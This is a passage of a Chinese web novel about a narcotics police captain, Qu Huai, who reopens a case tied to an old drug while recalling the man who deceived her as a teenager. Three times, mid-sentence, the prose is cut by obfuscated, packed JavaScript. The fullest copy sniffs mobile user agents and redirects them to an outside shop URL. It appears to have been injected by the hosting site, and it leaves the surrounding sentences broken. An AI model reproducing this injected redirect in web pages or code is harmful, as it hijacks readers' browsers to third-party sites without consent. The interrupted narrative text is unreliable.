说来也怪,她妈生前,她爸总是不怎么在家,就扎根在公司忙他的事业。她妈死后,她爸就幡然醒悟似的,每年清明节带着他俩的合照出门环游,美名其曰要给她妈把仪式感补齐。 虽然听随行的人说他总是躲在总统套房里抱着照片一哭就是三天。 但曲淮依旧选择尊重。 她没去埋怨过她爸迟来的弥补,毕竟她爸也没少爱她。她对于没怎么参与过的父母爱情,更多归咎于是自己不懂上面,自然不会乱评价什么。 坏心情被打岔,她手指动了动,回了个兔子一爪撑墙点头的表情包,又嘱咐了几句,收起手机往里走。 雨篷下,曲淮跪坐在墓碑前。 照片里的莫玲玲女士杏发温婉,笑意不减,她长得很柔,与曲淮眉眼里的锐天差地别。曲淮看着看着,刚压下的酸涩,又翻上来。 她喊了声“妈”,絮絮叨叨轻声开了口:“我爸又带您旅游去啦,等下次我不值班就跟他一起去。这是我俩的体检报告,身体都倍儿棒,您别担心,估计还有个几十年咱们才能相见。还有我爸公司的年度报告和我的各种证书复印件,都烧给您看看......” “我最近不怎么忙,好几年没出大案子了,我也活得挺开心的,就是今天碰见个人,有点讨厌,叫岑——” 她手上打点着东西,脑子走了点儿神,嘴没把门,舌齿秃噜出个声母。她赶忙打住,没想着拿这点事儿让她妈烦心,轻轻地哼了声,接道:“算了,晦气,还是甭提了。给您说说我一同事上周卧底扫黄差点成头牌的事儿吧......” 沈非岑和她妈也是认识的。 那会儿沈非岑还披着羊皮,有个很能旅游的人设,时不时就给曲淮发些照片、寄些明信片,什么大漠烟、海南滩、乌恰山都有,她就拿去哄她妈开心。 莫玲玲看见后,即使身体被病气笼罩,双眼也会亮闪闪的。 她是个画家,远山清泉、绵滩旷沙在她眼里魅力超标,她会在对上那些翻腾的景观时,无意识地抬手在空中作绘。 她是如此热爱。 曲淮在确定这点后,为了省去转发的时间,就让沈非岑直接加上莫玲玲了。没想到沈非岑还挺会讨她妈欢心的,有时候多说几句话,都能给她妈眼睛里添上笑意。 曲淮自然没什么防备之心,就觉得聊聊天也挺好的,能让她妈开心一点是一点,以至于莫玲玲临走前留下的最后几句话都是关于沈非岑的。 后来沈非岑真面目暴露,人间蒸发,曲淮再来看莫玲玲,也没提过沈非岑什么了。一是不想打扰她,二是莫玲玲跟曲淮的性格天差地别,真要知道,她肯定不赞成曲淮的执拗。 “别说我有事儿瞒您啊,”曲淮抽出几张纸巾擦拭墓碑,笑了笑,“我怕您来梦里唠叨我呢。” * 她从墓园离开时,雨已经停了,不过厚重乌云早就吞没夕阳。夜色像被墨水滴入的棉球,迅速弥漫,笼罩了整个延昌。 在这片相同的夜幕下,城市另一端的景象截然不同。 延昌市老城区存世最久的筒子楼,入夜灯光晃晃悠悠亮起来。 这里的住户所剩无几,年轻人早在商业中心变动时就走了出去。透过泛黄的窗户,能看见许多家里都被当成仓库,堆满杂物,仅有的几位房客大多都是无儿女相伴的老人家。 政府似乎也有意遗忘,近十年都没什么拆迁贴补的政策下来。不过基础设施维护还是每年都在用心做的,楼梯踩起来不会发出声响,被腐蚀的石头扶手依然坚固。 接到电话时,岑川正站在楼梯拐角。他背靠墙,高大的黑影蔓延到对面墙根,接通电话,他指根的青色血管松松垮垮兜着手机。 “延昌最近多雨,”中年男人温笑,背景有轻微的规律声响,像拿手指敲击玻璃杯,“你昨晚睡得好吗?” “你电话打得太晚,昨天的雨怎么能下到今天?”岑川靠在冰冷的墙壁上,后颈却绷得很紧,嗓音松散了几分,闷闷“哼”了下,“跟我玩什么旁敲侧击,你把我安排在命案隔壁,难不成真指望我一梦呜呼?” “冤枉。”中年男人轻笑回答,“延昌都不一定还有人能认得我了,我哪有本事兴风作浪。” “有啊。”岑川也笑了,“条子肯定忘不了你。” 中年男人被噎了下,又好脾气地笑骂他几句:“你看你,711一堆杂草,也就你当真。” 岑川:“那你草都除干净了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这话问得让我心寒,”岑川鹦鹉学舌,懒散地回答,“没睡,外边儿溜达,当夜猫给你抓老鼠呢。” “我看你是吕洞宾,好话也要听成赖话。”齐闻玩味地调侃,“你又不瞎,怎么能碰上死耗子?还是找对地方再亮爪,别太心急,你先休息休息。有人给我露了个点,叫什么酌野尽?等我帮你穿好粮多草广的皮,你再去翻,把那些不按规矩办事的东西揪出来,还有——” 齐闻语气更加轻柔:“阿岑,溜达的时候脚下稳当点,延昌路可不平,我当年都差点摔个大跟头。” “——好啊,”岑川眯了眯眼,状似衷心,“我争取翻它个底朝天。” 电话挂断,他不在狭小的空间停留,上楼转头,摸出一根偏粗的钢丝,插在被泥沙面膜敷过的防盗门上,转动,“咔擦”一声,门开了。 不到七十平,餐厅、客厅、卧室开放连接,窗帘拉得严严实实密不透风,没什么灰尘。味道有种说不上来的沉闷,一盏小台灯插在墙角的插孔,光芒微弱而稳定。 岑川没有通风的想法,他关了门,在昏暗中走进,蹲下。 稍顷,他伸手,按灭了唯一的光亮。 室内彻底陷入伸手不见五指的黑暗,他的呼吸声沉浮其上。 这间屋子,是他十八岁时,一名警察给他的。 那名警察早就不在了,公安系统内大概只余一人知道岑川和这儿的存在。于是一个看似荒废的屋子,还有人十年如一日交着相同的电费,只等着金额出现变动的那天到来。 等着一个在隐秘战线上生死未卜的人回来。 屋内死寂。 岑川满脑的思绪却在视线落在肩侧时顷刻停止。 她今天擦过这里了。 指节分明的手缓缓覆上,火星似乎被他的摩挲起,点燃沉寂多年的思绪。那些他以为早已麻木的、结冰的情感,后劲如排山倒海地朝他推过来。 薄唇像是被撬开了一条缝,无声念出一个名字。 “曲淮。” 声带在静默里嘶扯、拼打。 虚空中不知是谁的灵魂,含着怜悯的目光静静地注视他。 谁也不会看到这片角落里他狼狈挣扎。 低眼黑白分明里是是寂静的痛苦,悄无声息的放纵。 门再一次被打开。 月光些许偷溜进入。 5. 急转直上 隔天,曲淮被一个电话从难得放纵的睡梦里吵醒,她闭眼捞过手机扣在耳边。在对面如惊雷般的音量里,曲淮意识渐渐回笼。梦里莫玲玲抚摸她头顶的温度消散,沈非岑痛哭流涕的忏悔也停止了。 听清电话里在说什么惊天地泣鬼神的事后。 她深刻理解到什么叫世界不会在谁睡眠的时候停下运转。 ——一个在昨天连奸杀还是情杀都没定性的案子,今天就变成了需要市局侦办的涉毒案件,中间不知跳了几个级别。 挂断电话,匆匆收拾好,曲淮一脚油门踩去了市局。 下车正要快步走,瞥了眼后视镜,他们的金德局长正拖着沉重身体下车向前,还眯眼看着手机。她正要回头打个招呼,没想到人突然止步,然后爆发出与年纪不符的速度,掉头又上车,快到曲淮的视线都没从后视镜中挪走。 这怎么了这是? 曲淮依稀看见他屏幕上是电费缴纳页面的样式。 难不成供电局薅走了他们为人民清廉一生的金局半辈家产? 不过左右跟自己没什么关系,曲淮懵了一秒,很快抛之脑后,赶忙奔赴岗位。电梯里碰见卓飞,他的惊讶浮于表面,碎碎叨叨的嘴到两人停在会议室门口都没停下:“太神奇了,曲队!你敢想!延昌多少年没出过大型涉毒案件了!就这么突然!就这么——” 曲淮一边捏着额头,一边推开门,晨光扑面。曲淮晃了下神,缓了几秒才看清里面的人,还没注意都有谁在,眸子先定在了一个方位。她怔住,心底慢慢提起口气:“范队?” 紧接着,卓飞从她背后探出头,也傻了,就是没她含蓄,险些破音:“范队?!” 回声甚至有几分凄厉。 “......”曲淮深呼吸了口。 范凤兰本来温和张口,被卓飞喊得哭笑不得:“嗯......如果我没记错的话,上次见面是我调任当天,而不是什么生离死别的大场景,不用这么激动,先入座吧。” 魂差点被卓飞那一嗓子吼飞了,曲淮对他活见鬼的反应深感丢脸。她没再说什么,点点头,朝杨宗拉开的椅子走。但直到坐下,她的心脏都没落下,反而越来越高,还是被紧拽起来的那种。 毕竟范凤兰出现在这儿的原因太少了,少到她一瞬间就能猜出一个不妙的东西。 比如711酒店的尸体上,检测出的毒品成分,绝对不简单。 “......那啥,何主任还在跟进检查,先不过来了,我汇报一下吧。”技侦主任朱葛瞥了眼来自兄弟部门的消息,打开聊天框,认命起身。 他口中的何主任,正是法医处主任何不道。局里人都说这两位专业人才是彼此照亮的典型,但严格来讲,这束光多半是朱葛单方面打过去的。 主要是因为何不道那人实在太沉默,话少得像加密档案。而作为和他高频对接的朱葛,自然而然就成了代为传达信息的人。久而久之,他在市局内部都被调侃成了法医处代言人。 朱葛咳嗽一声:“由于出事的地点是酒店,锁定尸源没费多长时间。死者叫童冉,女,二十八岁,在一家健身房任职私教,无犯罪记录。现场除身份证外再没有能证明死者身份的物品,包是空的,手机也没找着。分局在确认酒店监控报修后,调取了当天的道路监控。” 画面里,童冉穿着黄色半袖与白色短裙从出租车上下来。因常年健身,她抬手时隐隐有肌肉线条,看起来很有活力。谁也不会想到她在几个小时后,就变成了洁白床单上隐隐发青的尸体。 跟她一起的男人,戴口罩还戴了墨镜帽子,把脸挡了个严实。手在衣服兜内拢着外套,很臃肿。 “根据酒店前台的笔录,童冉登记入住后跟她说男人就在楼上待一会儿,故前台没有对男人进行身份登记。我们也暂未查出更多信息,此人现在属于下落不明的状态。” 朱葛摁了两下遥控,转到白纸黑字上:“尸检报告中明确指出死者喉部存有苯.巴.比.妥,一类助眠药物残留,并在酒店热水壶中查到同样物质,且壶口处仅留有男性手部皮肤纹路,分局据此做出的初步推断是嫌疑人为实施迷.奸给死者下药。” “但分局法医在进一步检验后发现,死者体内的苯.巴.比.妥并未达到致死剂量,同时在其胃内容物中检测出了微量致幻剂成分。” “虽然量少,但浓度极高。何主任正在努力还原它的化学结构,但目前处于与数据库匹配失败的状态,它大概率属甲.卡.西.酮的衍生物。所以我们确认死者的真实死因为体内的两种成分打架,产生药理性休克后死亡。” 他显然对这些专业术语不太感冒,介绍时几乎是看着手机复述的:“对于这种致幻剂,从整体陌生程度来讲,它极有可能是种新型活性精神物质,但就现在来看,不排除它是......” 就跟朗诵课文似的语气戛然而止,朱葛眼睛瞪大了些,稍顷,他悲催又艰难还带着没缓过劲的震惊,脱口而出了个名字:“‘白砂晶’!” 一个经历过洗肃、封杀,沉寂已久的毒品。 曲淮骤然攥紧手,撑在桌子上的双手指节崩起泛白。 朱葛讷讷说完:“的可能性......” 会议室内同时响起很多声音,又转眼陷入死寂。 被曲淮扔在椅背上的沾雨大衣,碰到她的胳膊,凉意渗透下,她有了种发疼的错觉。 抿了口茶的范凤兰适时开口,温声道:“这也是我向省厅申请协助调查的原因。” ‘白砂晶’曾在延昌扎过很深的根,范凤兰从它被列为新型毒品时便负责侦查,可以说是最熟悉它的人没有之一。 她正色道:“‘白砂晶’的加工方式太过刁钻,且不断更新,很难辨认。最一开始,哪怕只有几克的吸入量,它也会损害到人的心血管系统,这使它在毒品市场并不受欢迎,我们也没能在它出现的第一时间就扼杀。经背后毒贩加工后,它的毒性趋于稳定,同时变得极难戒断,被一众瘾君子狂热追寻。” “一七年,我们取得过阶段性胜利,摧毁了‘白砂晶’在延昌的网络。之后又与各市联合办案,进行深层打击,截断其在国内数条线路。只是......”她默然。 只是整个任务中止于六年前的边境围剿行动,范凤兰不顾性命追上对方头目的车,被拖行数米后甩下河岸。身体受到严重损伤,养好后身手也难以恢复。同时‘白砂晶’一案因线索中断转为待侦,她调任省厅,退居后方。 曲淮对这段往事,甚至能倒背如流。她始终不发一言,静坐在原处。 范凤兰:“大家不必太过紧张,我们目前所掌握的技术手段远比当初先进。在未确认711裸尸案涉案毒品与‘白砂晶’的相似度前,希望在座每个人都能拿出一万分的精力迎战。” 会议室里的沉默在几分钟内过去,众人开始刻意忽略那个让他们心中为之发寒的东西,七嘴八舌讨论起案情。 “我觉得,”卓飞率先插嘴,打破了凝固的空气,“就是谋财行色呗?” “对对对,嫌疑人给死者下药,结果没想到死者还吸毒,药物跟毒品一相冲,直接导致被害人死亡!” 卓飞一拍手:“应该是吧,死者没动静了,嫌疑人以为药效发作了,把她包里东西搜刮一番。完事在实施侵犯行为时,发现她出事了,怕被牵扯就仓皇逃离现场了。” 曲淮的指尖在‘苯.巴.比.妥’和‘阿拉伯茶’的检测报告上轻轻点了点,脑中飞速重构着现场。门口的脚印、撕坏的短裙、混乱的现场......一个不同于奸杀的图景逐渐清晰。 她微微抬眼:“嫌疑人真的不知道死者吸毒吗?” 方才嘈杂起来的室内瞬间死寂。 “现有的监控和口供里都表明了一点,被害人与嫌疑人是自愿开房的。”曲淮抬手调回童冉下车的监控,“可他们两人的动作并不亲密,被害人对于嫌疑人的靠近明显带有抵触远离的意思。那到底是有什么原因,能让她决定和一个排斥的男人共处一室?” 卓飞小心翼翼举手:“有没有可能是她被拍了不雅照或其他东西威胁了?” “......不太对,”曲淮摇摇头,“她要是有至于羊入虎口的把柄在嫌疑人手里,被提出的条件就绝不仅仅会是进入房间那么简单。而且嫌疑人也给死者服用了安眠药,不就很好地说明连他都知道死者只是跟他开房,不是跟他上床吗?” 杨宗咳嗽两声,接话:“确实,在以往利用把柄进行胁迫的案件里,犯罪者的目的通常都很直白——就是性侵犯本身。能提出酒店见面的话,一般都伴随着要对方‘心甘情愿’进行性行为的恶劣要求,以此来达成一种有关服从性的精神控制,不会多此一举下药。” 曲淮眯了眯眼睛,抽出分局转来的现场勘探记录:“苯.巴.比.妥的起效时间通常为半小时到一小时,被害人完全有可能意识到自己被下药。但门口处她的脚印却没有重叠迹象,说明那段时间她没想着跑,而是做了别的对她来说更重要的事,比如藏起什么东西。嫌疑人在停止性.侵后没有立刻逃跑,而是......” “——找到货?” 被撕裂的短裙再一次出现在眼前。 曲淮脑海中的画面却被颠覆。 这一次,短裙不再是由于阻挡性侵、被意图施暴的男人扯坏的障碍物。它变成了一个对于瘾君子来说具有致命诱惑、逃亡在即也不忘毁裙取物的‘藏宝处’。 “所以,交易毒品——”曲淮环视一圈,“这个见面的理由是不是更站得住脚?” 她沉吟几秒:“但谁是买方,谁是卖方呢?” 底下人再度活跃。 “难道是死者因为手头紧了要着急出货?” 杨宗:“公安部每年发表的形势报告表明,各城市内的吸毒者至少上万人,直辖市内的吸毒者甚至可达几十万人。虽然很不想承认,但我认为延昌的吸毒者还没少到她只能挑选一个厌恶的男人作为交易对象。” “果然还是死者毒瘾犯了豁出去了更靠谱吧?” “那嫌疑人要是既给死者毒品又给她安眠药,怎么能被她死吓到?还把现场搞那么乱。傻蛋也知道安眠药不能跟兴奋剂一起用吧?” 云把太阳盖住了,阴阳交接相撞,卷土重来的毒品激起了好多不同的情绪。在明暗混沌里,有人沉默前行,有人举枪奋战,他们处于不同的时间线,却又为了同一个目标擦肩而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她长得太锐,再怎么真挚也有种阳奉阴违的意思。 范凤兰笑了笑,到底没再多说。 曲淮并不是严格意义上的乖顺小辈,她自打进了市局表现就很突出,行事更是大胆,几乎没有忍气吞声的时候。 举个例子,在她升副队的那场行动里,对面儿的人质是个刻薄的八寻老爷爷。看见来救他的是长相有点祸国殃民的姑娘时,话说得不太好听。于是曲淮在动手时有意控制,直接让那歹徒的血溅了老爷爷一身。 老爷爷当场要昏迷,结果曲淮硬是撑着他拐杖不让他倒,就笑吟吟地看着。最后老爷爷投降了,答应立刻送她个铁血女战士的锦旗,这才作罢。 这么一个意气风发的拔尖苗子,在一众市局人的眼里就是英雄,还是个有棱有角顺风顺水的英雄。 没人能想到范凤兰第一次见到她时她有多憔悴。那时曲淮才十六岁,趴在母亲的病床边,脸色惨白,咬字却异常清晰,让她一定要把害她母亲吸食毒品的人揪出来。 但已经太晚了。 毒品对莫玲玲造成的心血管损伤,保守估计有二十年之久。 九几年的事情,当时都不见得能查出来。 范凤兰很无力,但还好,经过调查可以确认莫玲玲从未复吸,她是彻底的受害者。但调查也仅仅如此了,她除了能在结案报告上写下非主观吸毒与未发现成瘾性以外什么都做不了,其余所有,都只能不了了之。 曲淮见她不说话,眼神都飘忽起来,以为她没信自己:“您就别担心我有什么主观偏向了,我相信对于此类案件,换个人也跟我态度一样。” 范凤兰顺口问:“你什么态度啊?” “我吗?”曲淮白皙的五指摩挲了下手心的薄茧,唇珠微动,咽下片酸涩,“客观上想整治他们,主观上想整死他们呗。” 范凤兰有些怪罪瞥她眼,把她的口无遮拦扫回去,最后说了句:“反正你自己多注意,办案绝对不能意气用事。” 曲淮那张向来带有张扬色彩的姣好面庞上明显收敛了许多,就像沉入深海里,只能看见她乌黑的发顶有几缕黑丝搭在了肩章上。眼睛低垂藏起心事,优越的肩脖线条埋入衬衫立领,不见踪影。 “您放心。” 曲淮目送完她,拉开了自己办公室的门。 窗户开着,一股青草的湿润气息溜进来,又伴随着楼下车流的喧嚣疾驰冲去远方,雨季的唯一好处可能就是清新的空气,少了很多堆砌杂乱的烟火气味。 晚些时候,卓飞走进曲淮办公室:“曲队,我刚从出租车公司回来,司机接了个跨市单,正在赶回来的路上。那个见过嫌疑人摘口罩的帅哥也回消息了,说是今天没空,得明天,地点他晚点选。” 联系岑川的警察为了方便直接加好友说的,收到回复后就转发给卓飞了,曲淮扫了眼。 【MY:警察同志,虽然我从小的心愿就是能当一个热心好市民,但是时间就是金钱。你知道的,像我这种金玉其外还其中的人,每天有什么安排提前一天就定好了,所以你懂吧?另外,根据《刑事诉讼法》第一百二十四条规定,应该可以是我提出地点吧?】 6. 往日与当下 屏幕上的一段话映在曲淮眼里,好几秒,她挪开视线:“根据《治安管理处罚法》第八十五条,若目击者无正当理由拒绝作证,警察有权对其进行批评教育、警告或罚款。” 怎么会有这么让人火大的人。 曲淮心想。 卓飞拿回手机:“那我让人再问问他有什么事报告一下?” 曲淮抬眼看卓飞一眼,见他没什么反应,有些莫名:“你不觉得他说话很挑衅吗?” “没有吧,顶多有些个性。”卓飞正发消息,没注意曲淮脸色,随口一答。 “啪”一声,曲淮重重合上卷宗。 她说:“他网名叫‘MY’,翻译过来就是‘我的’,充分显示了其人格有多自我还自大,再看他说的话,我给你中译中一下,大概‘你难道不知道我这么个超级无敌优质大帅比想约我得排号吗?别想把我骗出我的领地不然我会拿起法律武器捍卫’之类的。” “......” “......” 曲淮挑眉。 卓飞大脑宕机,呆愣地说:“是......这样吗?”他试图消化这份精辟的总结,“......这么解读,也不是不行。” 曲淮没再继续这个话题,只抬眼看他,视线“嗖”一下射过去,目光平静却极具压迫感。卓飞瞬间站直,本能地应道:“明白了,曲队!我马上把法条发过去!” 曲淮认可了他的态度,点点头,接着翻起案件记录。 卓飞一走,室内安静了下来。 天色渐晚,暗色攀附上湛蓝的天空,从晕染边界开始逐步吞噬。月牙的尖儿拼命把山后的太阳顶了下去,散发浅淡的银白色光芒。 曲淮站起身开了灯,拉上窗帘。 盯了一整天字,她有些眼花,身体发出罢工的信号。 想着休息会,胳膊贴上平整的纸面,身子慢慢趴下去。 在安静的环境下,当年医院白墙外的告诫愈发清晰,响在耳旁。 “曲小姐,令堂进行切除手术后必须使用曲妥珠单抗辅助治疗,但令堂的心血管系统存在不可逆损伤,一旦用药,极有可能使令堂发生心源性猝死等心脏疾病。” 她那时听不懂那些专业名词。 只知道莫玲玲治不好了。 鼻间艰难耸动两下。 “妈......” 脑海渐渐有些昏沉,似乎又回到了医院里。 这段记忆总是又痛又恨。 痛莫玲玲得病逝世,恨沈非岑骗她始终。 二零一四年,她十六岁,是她噩梦的开始,也是她跟沈非岑的开始。 她曾经坚信,和沈非岑相识是她在那段时间里唯一的幸运。最后却天翻地覆,所有由懵懂心动引起的扑通扑通,都变成了被恨意推起来、揉起来、攥起来的本能紧缩。 但恨确实比痛好受。 曲淮趋利避害,在一念及母亲鼻尖就不受控的酸涩里,总会选择咬牙去刻画她的犯罪嫌疑人。每一回想,就是重复沈非岑和她的过往,也可以说是他的犯罪过程、犯罪细节。 他们初识是在莫玲玲接连犯晕几天后办理住院检查的当天,曲天涯跑前跑后,曲淮跟来却无事可做。 为了不添乱,她六神无主地坐在医院的楼梯间里,心里总感觉她妈病得不简单,不敢去面对,还不敢离开。 “叮”一声,手机弹出条来自附近的人的消息。 【今山:邀请你加入‘你画我猜’。】 曲淮没理。 又“叮”一声。 【今山:邀请你加入‘你画我猜’。】 曲淮动手划走。 【今山:邀请你加入‘你画我猜’。】 “......” 曲淮终于是硬邦邦地回了他三个字:【我不玩。】 那边可能是知难而退了,有会儿功夫没回答,就在曲淮放下手机前一刻,熟悉的提示音和一大段文字跃入眼帘。 【今山:打扰你了,对不起。我只是自己等检查结果有点孤单,又很喜欢画画,才想找人陪陪我。恰巧看见你的头像是一幅很好看的工笔,以为你会有兴趣的。很抱歉,我可能烧迷糊了,忘了大家应该都有自己的事要干。不好意思,谢谢你愿意理我,祝你天天开心。】 “......” 想来当时太单纯,曲淮几乎是莫名其妙地生出了内疚的感觉。后来她跟他越熟悉,越有种一开始就被驴的错觉,直接赐给他了个‘沈茶茶’的外号。 只可惜那会儿的她没能看出来。 【淮河曲:你自己一个人吗?】 【今山:是的,不过我总是一个人,早就习惯啦,你不用管我的。】 曲淮眨眨眼,心底总有种别扭的不忍,满脑子都是:他自己看病好可怜啊。滚动弹幕般洗脑。 在她思考的过程中,对面儿又发来个表情包,是一只小恐龙抱着尾巴哭着说对不起的。 曲淮冲动秒回。 【淮河曲:不用道歉,你发过来吧,我可以陪你玩一会儿。】 于是两人开始对着屏幕划拉手指,慢慢的,曲淮听夸赞都快麻木了,有时候她误触一条直线,消息马上就刷出。 【今山:你真厉害!】 【淮河曲:......】 【淮河曲:我还什么都没画。】 【今山:我太激动了吗?抱歉,这其实是第一次有人陪我玩,我可能有些兴奋,你不要害怕QAQ,以后我不会这样了。】 曲淮皱皱眉,没顾得上纠正他所谓的以后。 【淮河曲:你没有朋友吗?】 【今山:嗯......认识的人都不太喜欢我。】 曲淮有点不是滋味,她觉得这个惨兮兮的人除了过分热情没有任何问题,想不通他怎么还能被孤立,她认认真真地安慰。 【淮河曲:可能是你去过的地方还少,没碰见合得来的人。】 【今山:可是我一直在各地跑......就是旅游,但没有人愿意理我。】 【今山:你是第一个愿意和我交流的,谢谢你。[可爱]】 这么可怜? 曲淮嘶了声。 难道他长得很吓人? 怪不得会在网上大海捞针。 但是—— 【淮河曲:你多大了?不用上学吗?】 不会是老男人诈骗她吧。 【今山:我今年18......我的成长环境没有接受固定教育的条件,但我都有在自学的!】 曲淮如遭雷击,拿眼皮扇了下眼睑一巴掌,为自己的怀疑感到不应该,她斟酌着说辞。 【淮河曲:可能你看起来比较拒人于外,你可以试着在别人躲开前表达出善意,或者把想法直接说出来。我觉得你人不坏,没有朋友肯定是方法没找对。】 这次的回复慢了些。 【今山:这样的话......我可以和你成为朋友吗?[拜托拜托]】 直白的话语一下闯入曲淮眼睛。 她想,人在手足无措的时候,被需要似乎比找到支柱还要有用。 楼梯间很少有人来,但防火门外一直有声音传来,偶尔是装着救人性命的药物货轮声,偶尔是为家人奔波的心急脚步声,门内在这急速音流里,清晰又温和响起手机提示音。 【今山:好不好?】 曲淮动动手指,回复:【好。】 撞在发送键上的指腹,轻轻地发出声如同枪响的“砰”。 然后一切犹如擦枪走火,愈演愈烈。他们交换了姓名,又不停地聊天。 曲淮其实是个话不多的人,再加上心里惶惶,她就没想着能聊多久,但沈非岑就像是憋了十几年的吟游诗人,好不容易碰到她就要全抒发出来。还有点急,哪怕是文字消息都能看出几分磕绊,曲淮琢磨这人真是孤单坏了。 但他确实吸引了她部分注意力,就像一支不断生长的藤曼,恰到好处地扶起了在悬崖边摇摇欲坠的她。 后面她隐晦地吐露悲伤。 【淮河曲:你的结果出来了吗?医生有没有说什么?或者他是什么表情?】 曲淮的心脏仿佛在缺氧环境中飘浮,她不知道莫玲玲要检查什么项目,只是觉得等待结果的时间未免太过漫长,但她却没有这样焦急等待的经验。 于是潜意识觉得过程一样的话,结果说不准也大差不差。 【今山:等下。】 他有一阵儿没回她。 【今山:抬头。】 曲淮在六楼,在整栋楼一半的位置。 这家私人医院的装修没什么小巧思,混着药味更显压抑,它的白不是最纯洁的白,而是一切都失去色彩后的白,空无一切。 她探手捉住棕木的楼梯扶手起身,朝上看去,什么都没有,三角楼梯的设计使她像陷入无限循环,望着走不到尽头的台阶。 蓦地——有个纸飞机飘了出来。 大概是从最顶层放出的,曲淮没看见挥动它的手,视线跟着它在空中晃荡不停。明明是浮萍般的轨迹,它却又像有自己的航线一样,就朝着她下降。 快到她面前时。 她还是伸手捞了过来。 【今山:我的报告没什么问题,送给你,就当是把这份健康送给你担心的人了,别着急。】 曲淮瞳孔震了震。 她还没来得及打字。 【今山:你别害怕,我没有偷偷看你。我在每个区的十二楼跑了个遍,按照距离来看,这里是数字最小的地方。还有......交朋友的话,虽然不见面,但知道对方身体状况应该或多或少会更安心一点吧?至少可以证明我在年龄上没有说谎。[可爱]】 纸飞机被手机压出弯折的声音,沈非岑的分寸就在几句话里淋漓尽致。曲淮捏着手机边,看他透露着严阵以待的话,也不知道他是存心逗她开心还是来真的,没忍住笑了下。 她把纸飞机展开,发现背后还有几个字,下笔较重,笔迹很好看—— ‘祝一切皆如你愿’ 与此同时,屏幕上方弹出她爸曲天涯的消息:【检测结果出来了,医生说能治好。】 往后很长一段时间,哪怕已经得知莫玲玲的癌症不能对症用药,曲淮还是会感叹那天的巧合。沈非岑放出一个载着健康跟祝福的纸飞机,让它平稳降临在她身边,她接到它,好像一切都在那刻成真。 直到沈非岑真面目暴露。 曲淮一瞬间想到后来发生的事,身体急速降温,唇僵着,冰冷的风不知疲倦地拍打着她,却似乎要比她的心更有温度。 有关曾经的梦她做过成千上万次了,就像是块儿玻璃做的糖,糖碎了,只剩下玻璃渣子。梦里浮于表面的甜腻一过,现实就被刺得疼痛难忍。 她站起来,一手掀开窗帘关上窗户。 搁在一旁的手机“嗡嗡”地响起来,她看了眼来电。未知号码,下意识以为是推销保险的,没接,又瞥眼时间,眯了两个小时左右。 吹风睡着对身体总归是有点儿影响,曲淮隐隐犯晕,拿起自己的保温杯含了块儿冰稍微压压。电话又一次打过来,相同的号码,她思索几秒,接了,放在一旁。 铃声停下,取而代之的是一道饶有兴致的嗓音:“曲大警官?” 曲淮视线倏然落到屏幕上。 她唇缝溢出声“咔嚓”,是冰块没能承受住来自齿端忽地压力,一分为二。 那边没听到回答,稍作等待,不知猜想到什么,腔调里的玩笑意味急速退下:“喂?喂?有人吗?” 曲淮将手机捞过来,点了下保留全程录音,她问:“你怎么知道我姓什么?” “......” 很安静,电话声音被她调到最大,她听到对面类似松了口气的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126113|196084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动静。低哑的男声再度变得心不在焉起来:“跟我联系的警察同志说的。” 曲淮静了静,启唇:“是吗?岑先生。” 她刻意加重了某个字音。 岑川却是毫无发觉:“当然,聊天记录可是都在,还能是什么?” 曲淮没打算放过:“对啊,还能是什么?” “还能是——”岑川拖长尾调,接着一口气不拖沓地说,“一个怕被有心之人利用的市民查看了近几年优秀警察后最终选择了交付信任。” 曲淮一时没能接上话。 禁毒警察的信息在网上都是非公开的,他这段话比之前还不靠谱,可以总结为纯胡扯。 “......难道我们的同志联系你时没告诉你警号或者给你看证件吗?”曲淮发自内心地问。 “看了啊。”岑川理所应当,“但现在做假证的大部分都荣归故里成为一村首富了,可见这个行业是多么渗透基层。尤其对于我这种嗯......比较受人追捧的,说不定就被不怀好意的人骗出去酱酱酿酿了。” 曲淮听到最后几个字,感觉身上过了电似的麻了一下,鸡皮疙瘩都起来了。 “......”她抿了口冰水,让自己稍微清醒点儿,开口淡淡,“确实,岑先生是应该有点安全意识。虽然我也不太确定你除了骗人心还有没有骗别的什么,但我由衷地劝你收敛点。毕竟要是你哪天被人报复血溅小黑屋,会让我很难去公正办案呢。” 口不对心,渐渐快活的语气充分彰显了她很期待有朝一日能见到岑川被人套麻袋打闷棍。 岑川跟没听出来似的,不痛不痒哼笑声,说出一段儿话懒洋洋的,还有几分扯玩笑的颓丧感:“警官,你放心吧,可能你对我的人格魅力有什么质疑。我给你打个比方,就算有一百个人想要我的命,也会有一百零一个人不想让我死。所以呢,我绝对不会成为你职业生涯的污点。” “......”曲淮握紧手里的杯子,眸光闪闪,稍顷松开,很低地说了一句,“也是,你们这种人总是骗术精湛。” 就像当年她联系不上沈非岑时,总以为他是出了什么事不想连累她,天天都在想他可能出问题的地方,求天拜地跪神祈佛能做的都做了,哪能想到是他腻了要甩掉她。 “什么?我们......”岑川没听清,正想再问一遍。 曲淮:“你打电话应该是有空作证了吧?” “这个啊——”岑川拖腔带调。 曲淮有种不好的预感,总觉得他又要说什么不入耳的话了。 